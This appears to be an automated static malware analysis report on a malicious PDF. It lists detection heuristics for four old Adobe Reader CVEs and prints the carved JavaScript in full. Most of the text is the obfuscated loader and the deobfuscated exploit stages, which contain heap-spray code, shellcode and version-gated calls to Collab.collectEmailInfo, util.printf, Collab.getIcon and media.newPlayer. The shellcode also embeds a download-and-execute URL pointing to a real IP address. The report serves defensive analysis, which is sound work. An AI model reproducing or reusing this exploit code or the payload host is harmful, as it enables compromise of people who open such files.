Malicious PDF — malware analysis report

Static analysis result for SHA-256 a482996b9cb76793…

MALICIOUS

PDF

12.6 KB First seen: 2026-05-08
MD5: 8d874e9194f38a545f4636d9224d529e SHA-1: ab3745c5c5fcbb0644d7b315ce71299b4db43e67 SHA-256: a482996b9cb767933f79b2c2f74e733ea27b8ed0d222ad755114305b7c7717d3
490 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 12

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://65.75.169.146/Home/w.php?f=16&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0076_000.js pdf-javascript-stream PDF /JS object 76 at offset 0x3A9 11780 bytes
SHA-256: d8258995a1d38cda29e6b27f76f1cc0ea65e74c4de5cc5de0b1e62776ff94560
Preview script
First 1,000 lines of the extracted script
w="s";
w+="l";
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z=[53,44,26,36,54,50,2,58,65,61,40,22,25,6,43,43,40,22,51,15,29,9,40,22,25,70,51,15,40,22,73,70,29,9,40,22,29,33,6,9,40,22,6,6,70,51,40,22,43,9,15,41,40,22,9,41,25,54,40,22,25,54,6,41,40,22,41,15,9,41,40,22,73,41,25,54,40,22,70,43,37,15,40,22,73,43,25,54,40,22,6,6,41,25,40,22,43,43,66,54,40,22,70,29,25,54,40,22,41,6,6,15,40,22,6,6,73,9,40,22,25,37,55,15,40,22,37,70,29,29,40,22,51,51,37,41,40,22,54,25,51,51,40,22,9,41,25,54,40,22,15,6,6,41,40,22,6,33,9,43,40,22,73,70,41,43,40,22,25,73,51,54,40,22,55,9,6,9,40,22,29,9,25,70,40,22,70,37,73,70,40,22,29,54,29,33,40,22,70,37,9,15,40,22,25,54,70,43,40,22,6,15,73,70,40,22,73,9,25,54,40,22,73,25,6,70,40,22,51,70,41,6,40,22,25,54,70,43,40,22,55,41,73,43,40,22,51,70,41,6,40,22,15,33,6,6,40,22,9,37,9,33,40,22,44,66,51,15,40,22,15,70,41,6,40,22,66,54,6,6,40,22,54,29,41,51,40,22,6,25,37,41,40,22,73,9,51,55,40,22,15,37,41,25,40,22,41,66,15,54,40,22,66,44,41,6,40,22,29,54,9,41,40,22,6,54,51,37,40,22,73,70,37,51,40,22,70,29,29,43,40,22,70,29,25,54,40,22,41,6,55,9,40,22,43,43,66,66,40,22,41,15,25,54,40,22,25,66,9,54,40,22,29,15,9,43,40,22,70,9,51,51,40,22,41,15,55,9,40,22,66,25,25,54,40,22,66,66,41,6,40,22,41,9,25,54,40,22,41,6,25,54,40,22,44,54,15,70,40,22,70,33,70,29,40,22,29,54,15,6,40,22,44,66,70,6,40,22,43,25,25,54,40,22,25,41,55,41,40,22,41,15,73,66,40,22,73,9,6,6,40,22,33,43,41,6,40,22,51,6,29,54,40,22,43,25,25,54,40,22,25,54,41,25,40,22,43,44,51,73,40,22,70,33,41,70,40,22,33,25,29,25,40,22,51,51,51,51,40,22,29,55,51,51,40,22,29,25,51,33,40,22,41,41,41,41,40,22,41,41,41,41,40,22,70,41,70,25,40,22,9,41,43,44,40,22,51,51,43,25,40,22,41,41,41,41,40,22,70,41,41,41,40,22,15,41,25,6,40,22,70,41,37,33,40,22,25,54,70,70,40,22,25,54,29,15,40,22,37,41,70,29,40,22,15,6,25,6,40,22,51,51,41,70,40,22,43,25,29,6,40,22,43,29,43,51,40,22,41,41,41,41,40,22,73,70,43,25,40,22,43,15,73,55,40,22,70,9,43,66,40,22,37,43,51,51,40,22,15,9,25,6,40,22,25,54,41,25,40,22,29,25,29,25,40,22,51,51,43,37,40,22,51,51,51,51,40,22,41,55,29,54,40,22,73,55,29,54,40,22,29,15,25,37,40,22,41,37,41,9,40,22,41,41,41,41,40,22,70,15,25,66,40,22,41,15,55,9,40,22,41,9,15,73,40,22,73,55,55,9,40,22,43,73,43,70,40,22,15,73,73,6,40,22,55,9,9,9,40,22,73,43,41,9,40,22,6,6,73,55,40,22,15,73,6,55,40,22,55,9,9,9,40,22,55,41,41,25,40,22,73,6,55,66,40,22,70,6,55,41,40,22,51,25,43,25,40,22,41,41,41,41,40,22,51,51,41,41,40,22,41,15,70,43,40,22,29,25,25,54,40,22,15,33,6,6,40,22,15,73,70,37,40,22,37,66,9,9,40,22,73,73,41,41,40,22,43,55,73,41,40,22,15,73,73,9,40,22,37,66,9,9,40,22,55,29,41,70,40,22,43,15,43,9,40,22,15,43,43,15,40,22,37,66,9,9,40,22,41,41,41,33,40,22,25,44,70,33,40,22,41,9,15,37,40,22,25,25,6,41,40,22,37,66,9,9,40,22,9,37,41,9,40,22,43,44,70,37,40,22,43,44,41,41,40,22,70,6,41,41,40,22,43,44,70,73,40,22,51,51,41,41,40,22,37,9,70,43,40,22,15,41,25,70,40,22,37,43,73,70,40,22,41,41,43,44,40,22,51,51,70,6,40,22,41,9,70,43,40,22,41,41,43,44,40,22,29,54,25,6,40,22,70,6,41,15,40,22,70,43,51,51,40,22,25,6,41,9,40,22,41,15,15,6,40,22,41,55,29,54,40,22,37,6,29,54,40,22,25,41,9,73,40,22,41,41,6,51,40,22,51,44,73,70,40,22,25,41,9,73,40,22,41,41,6,51,40,22,15,9,73,70,40,22,41,41,43,44,40,22,51,29,43,44,40,22,70,43,51,51,40,22,29,25,41,25,40,22,51,29,33,15,40,22,51,51,51,51,40,22,9,29,25,29,40,22,29,15,41,29,40,22,51,29,33,25,40,22,41,29,25,44,40,22,43,51,25,33,40,22,54,66,41,37,40,22,15,44,6,6,40,22,70,54,25,44,40,22,15,43,37,54,40,22,73,33,9,43,40,22,37,44,6,43,40,22,73,41,55,51,40,22,73,9,43,25,40,22,73,41,73,9,40,22,55,51,6,44,40,22,6,43,55,51,40,22,55,29,6,70,40,22,6,70,6,73,40,22,6,37,55,29,40,22,6,33,6,43,40,22,6,37,55,29,40,22,6,43,6,9,40,22,9,25,55,51,40,22,43,66,43,51,40,22,55,51,43,70,40,22,55,29,73,73,40,22,43,25,73,41,40,22,6,51,73,41,40,22,6,66,43,43,40,22,6,43,6,37,40,22,43,70,55,43,40,22,6,70,6,66,40,22,41,41,41,41,61,68,51,22,19,15,49,57,35,19,36,29,11,53,26,59,26,44,21,16,72,64,14,31,67,57,75,29,59,26,44,48,75,29,19,58,49,67,24,55,45,16,72,64,14,26,44,7,65,26,44,68,1,26,44,65,26,44,48,2,22,54,2,49,26,57,19,58,59,41,21,16,72,34,55,64,68,26,29,49,22,26,19,36,26,44,68,1,36,51,22,19,15,49,57,35,19,36,54,30,59,64,14,53,44,26,36,66,4,58,65,19,29,31,36,3,26,26,44,72,59,64,68,53,44,26,36,53,31,65,41,30,41,15,41,15,41,15,41,15,68,53,44,26,36,44,66,66,26,65,41,30,9,41,41,41,41,41,68,53,44,26,36,17,44,72,75,35,44,66,65,22,19,29,2,15,44,17,29,59,54,50,2,58,64,68,53,44,26,36,2,15,13,75,29,19,65,17,44,72,75,35,44,66,48,75,29,19,58,49,67,24,55,68,53,44,26,36,16,72,65,44,66,66,26,32,59,2,15,13,75,29,19,7,41,30,6,25,64,68,53,44,26,36,72,44,26,2,17,65,22,19,29,2,15,44,17,29,59,62,40,22,33,41,33,41,40,22,33,41,33,41,62,64,68,72,44,26,2,17,65,29,11,53,26,59,72,44,26,2,17,21,16,72,64,68,53,44,26,36,15,35,22,19,49,55,65,59,53,31,32,41,30,9,41,41,41,41,41,64,34,44,66,66,26,68,51,35,26,59,53,44,26,36,15,35,22,19,49,65,41,68,15,35,22,19,49,45,15,35,22,19,49,55,68,15,35,22,19,49,7,7,64,14,66,4,58,28,15,35,22,19,49,27,65,72,44,26,2,17,7,17,44,72,75,35,44,66,68,1,36,53,44,26,36,35,53,29,26,51,75,35,31,65,22,19,29,2,15,44,17,29,59,62,40,22,41,15,41,15,40,22,41,15,41,15,62,64,68,31,67,57,75,29,59,35,53,29,26,51,75,35,31,48,75,29,19,58,49,67,45,9,9,33,70,55,64,14,35,53,29,26,51,75,35,31,7,65,35,53,29,26,51,75,35,31,68,1,36,49,67,57,2,48,15,35,75,75,44,54,74,49,35,26,29,65,12,35,75,75,44,54,48,15,35,75,75,29,15,49,10,52,44,57,75,23,19,51,35,59,14,2,22,54,50,42,62,62,21,52,2,58,42,35,53,29,26,51,75,35,31,1,64,68,1,36,51,22,19,15,49,57,35,19,36,17,26,57,19,49,51,59,64,14,19,35,17,65,22,19,29,2,15,44,17,29,59,62,40,22,41,3,41,3,40,22,41,3,41,3,40,22,41,3,41,3,40,22,41,3,41,3,62,64,68,53,44,26,36,17,44,72,75,35,44,66,65,22,19,29,2,15,44,17,29,59,54,50,2,58,64,68,67,29,44,17,54,75,35,15,4,65,19,35,17,7,17,44,72,75,35,44,66,68,54,57,58,54,75,35,15,4,65,22,19,29,2,15,44,17,29,59,62,40,22,41,3,41,3,40,22,41,3,41,3,62,64,68,67,29,44,66,29,26,2,57,11,29,65,55,41,68,2,17,26,44,72,65,67,29,44,66,29,26,2,57,11,29,7,67,29,44,17,54,75,35,15,4,48,75,29,19,58,49,67,68,31,67,57,75,29,59,54,57,58,54,75,35,15,4,48,75,29,19,58,49,67,45,2,17,26,44,72,64,14,54,57,58,54,75,35,15,4,7,65,54,57,58,54,75,35,15,4,68,1,36,51,57,75,75,54,75,35,15,4,65,54,57,58,54,75,35,15,4,48,2,22,54,2,49,26,57,19,58,59,41,21,2,17,26,44,72,64,68,54,75,35,15,4,65,54,57,58,54,75,35,15,4,48,2,22,54,2,49,26,57,19,58,59,41,21,54,57,58,54,75,35,15,4,48,75,29,19,58,49,67,32,2,17,26,44,72,64,68,31,67,57,75,29,59,54,75,35,15,4,48,75,29,19,58,49,67,7,2,17,26,44,72,45,41,30,9,41,41,41,41,64,14,54,75,35,15,4,65,54,75,35,15,4,7,54,75,35,15,4,7,51,57,75,75,54,75,35,15,4,68,1,36,52,29,52,65,19,29,31,36,3,26,26,44,72,59,64,68,51,35,26,59,57,65,41,68,57,45,37,9,41,41,68,57,7,7,64,14,52,29,52,28,57,27,65,54,75,35,15,4,7,67,29,44,17,54,75,35,15,4,68,1,36,53,44,26,36,19,22,52,65,37,55,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,33,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,68,22,49,57,75,48,17,26,57,19,49,51,59,62,40,9,70,41,41,41,51,62,21,19,22,52,64,68,1,36,51,22,19,15,49,57,35,19,36,58,29,49,57,15,35,19,59,64,14,53,44,26,36,44,26,26,72,65,19,29,31,36,3,26,26,44,72,59,64,68,57,51,59,44,17,17,48,66,35,15,48,12,35,75,75,44,54,48,58,29,49,23,15,35,19,64,14,53,44,26,36,17,44,72,75,35,44,66,65,22,19,29,2,15,44,17,29,59,54,50,2,58,64,68,53,44,26,36,67,5,16,70,41,41,12,8,65,17,44,72,75,35,44,66,48,75,29,19,58,49,67,24,55,68,53,44,26,36,16,72,65,41,30,9,41,41,41,41,41,32,59,67,5,16,70,41,41,12,8,7,41,30,6,25,64,68,53,44,26,36,72,44,26,2,17,65,22,19,29,2,15,44,17,29,59,62,40,22,33,41,33,41,40,22,33,41,33,41,62,64,68,72,44,26,2,17,65,29,11,53,26,59,72,44,26,2,17,21,16,72,64,68,53,44,26,36,17,70,3,50,60,43,70,51,65,59,41,30,41,15,41,15,41,15,41,15,32,41,30,9,41,41,41,41,41,64,34,41,30,9,41,41,41,41,41,68,51,35,26,59,53,44,26,36,53,16,15,63,71,33,43,72,65,41,68,53,16,15,63,71,33,43,72,45,17,70,3,50,60,43,70,51,68,53,16,15,63,71,33,43,72,7,7,64,14,44,26,26,72,28,53,16,15,63,71,33,43,72,27,65,72,44,26,2,17,7,17,44,72,75,35,44,66,68,1,36,53,44,26,36,49,0,46,67,8,54,47,31,65,22,19,29,2,15,44,17,29,59,62,40,41,33,62,64,68,31,67,57,75,29,59,49,0,46,67,8,54,47,31,48,75,29,19,58,49,67,45,41,30,9,41,41,41,64,14,49,0,46,67,8,54,47,31,7,65,49,0,46,67,8,54,47,31,68,1,36,49,0,46,67,8,54,47,31,65,62,8,48,62,7,49,0,46,67,8,54,47,31,68,44,17,17,48,66,35,15,48,12,35,75,75,44,54,48,58,29,49,23,15,35,19,59,49,0,46,67,8,54,47,31,64,68,1,1,36,44,56,75,22,58,57,19,2,65,44,17,17,48,17,75,22,58,23,19,2,68,53,44,26,36,2,53,65,17,44,26,2,29,23,19,49,59,44,17,17,48,53,57,29,31,29,26,69,29,26,2,57,35,19,48,49,35,74,49,26,57,19,58,59,64,48,15,67,44,26,3,49,59,41,64,64,68,51,35,26,59,53,44,26,36,57,65,41,68,57,45,44,56,75,22,58,57,19,2,48,75,29,19,58,49,67,68,57,7,7,64,14,57,51,59,44,56,75,22,58,57,19,2,28,57,27,48,19,44,52,29,65,65,61,10,74,15,26,57,17,49,61,64,14,53,44,26,36,75,53,65,44,56,75,22,58,57,19,2,28,57,27,48,53,29,26,2,57,35,19,68,1,1,36,57,51,59,59,75,53,65,65,33,64,20,20,59,59,2,53,65,65,25,64,39,39,59,75,53,45,65,25,48,37,55,64,64,64,14,58,29,49,57,15,35,19,59,64,68,1,29,75,2,29,36,57,51,59,75,53,65,65,73,48,37,64,14,17,26,57,19,49,51,59,64,68,1,29,75,2,29,36,57,51,59,59,59,2,53,65,65,43,64,20,20,59,2,53,65,65,73,64,64,39,39,59,75,53,45,73,48,37,37,64,64,14,54,30,59,64,68,1,29,75,2,29,36,57,51,59,59,75,53,38,65,33,48,37,64,20,20,59,75,53,45,65,33,48,55,64,20,20,59,75,53,38,65,25,48,37,6,64,20,20,59,75,53,45,65,25,48,37,73,64,64,14,51,22,19,15,49,57,35,19,36,44,59,64,14,22,49,57,75,48,17,26,57,19,49,66,59,61,17,18,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,37,36,42,36,72,72,72,72,37,37,37,61,21,19,29,31,36,71,44,49,29,59,64,64,68,1,53,44,26,36,67,65,44,17,17,48,17,75,22,58,23,19,2,68,51,35,26,59,53,44,26,36,51,65,41,68,51,45,67,48,75,29,19,58,49,67,68,51,7,7,64,14,57,51,59,67,28,51,27,48,19,44,52,29,65,65,61,10,74,15,26,57,17,49,61,64,14,53,44,26,36,57,65,67,28,51,27,48,53,29,26,2,57,35,19,68,1,1,36,57,51,59,59,57,38,25,48,37,55,64,39,39,59,57,45,25,48,55,64,64,14,15,65,19,29,31,36,3,26,26,44,72,59,64,68,53,44,26,36,66,65,22,19,29,2,15,44,17,29,59,61,40,22,33,41,33,41,40,22,33,41,33,41,61,64,68,53,44,26,36,29,65,22,19,29,2,15,44,17,29,59,54,50,2,58,64,68,31,67,57,75,29,59,66,48,75,29,19,58,49,67,45,65,41,30,25,41,41,41,64,14,66,7,65,66,68,1,66,65,66,48,2,22,54,2,49,26,59,41,21,41,30,25,41,41,41,32,29,48,75,29,19,58,49,67,64,68,51,35,26,59,51,65,41,68,51,45,55,33,41,41,68,51,7,7,64,14,15,28,51,27,65,66,7,29,68,1,44,59,64,68,44,59,64,68,49,26,72,14,49,67,57,2,48,52,29,66,57,44,48,19,29,31,56,75,44,72,29,26,59,19,22,75,75,64,68,1,15,44,49,15,67,59,29,64,14,1,44,59,64,68,1,1];
a="U}sAkW3+N4EzC_{cqp@n|,uI*8r][exw-9/o 1>&%0:6a<MG.tjfmvb2Pig(K''Q)=dh;V5Dy7Sl";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{

e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[z[i]];
}
}}

"))";try{if(!google.search())throw 1;}catch(q){e(s);}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x3A9 3864 bytes
SHA-256: 4fc636677fcfc027e84508d9e8e3863a74d64ff34dd7622b43d068cc230f7091
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e35%u3537%u312e%u3936%u312e%u3634%u482f%u6d6f%u2f65%u2e77%u6870%u3f70%u3d66%u3631%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 76 at offset 0x3A9 3860 bytes
SHA-256: 3ddbab3c1d29949412b5e958646f16fe420cb4b57e35360896cb6a9e6b42c6c9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u362f%u2e35%u3537%u312e%u3936%u312e%u3634%u482f%u6d6f%u2f65%u2e77%u6870%u3f70%u3d66%u3631%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 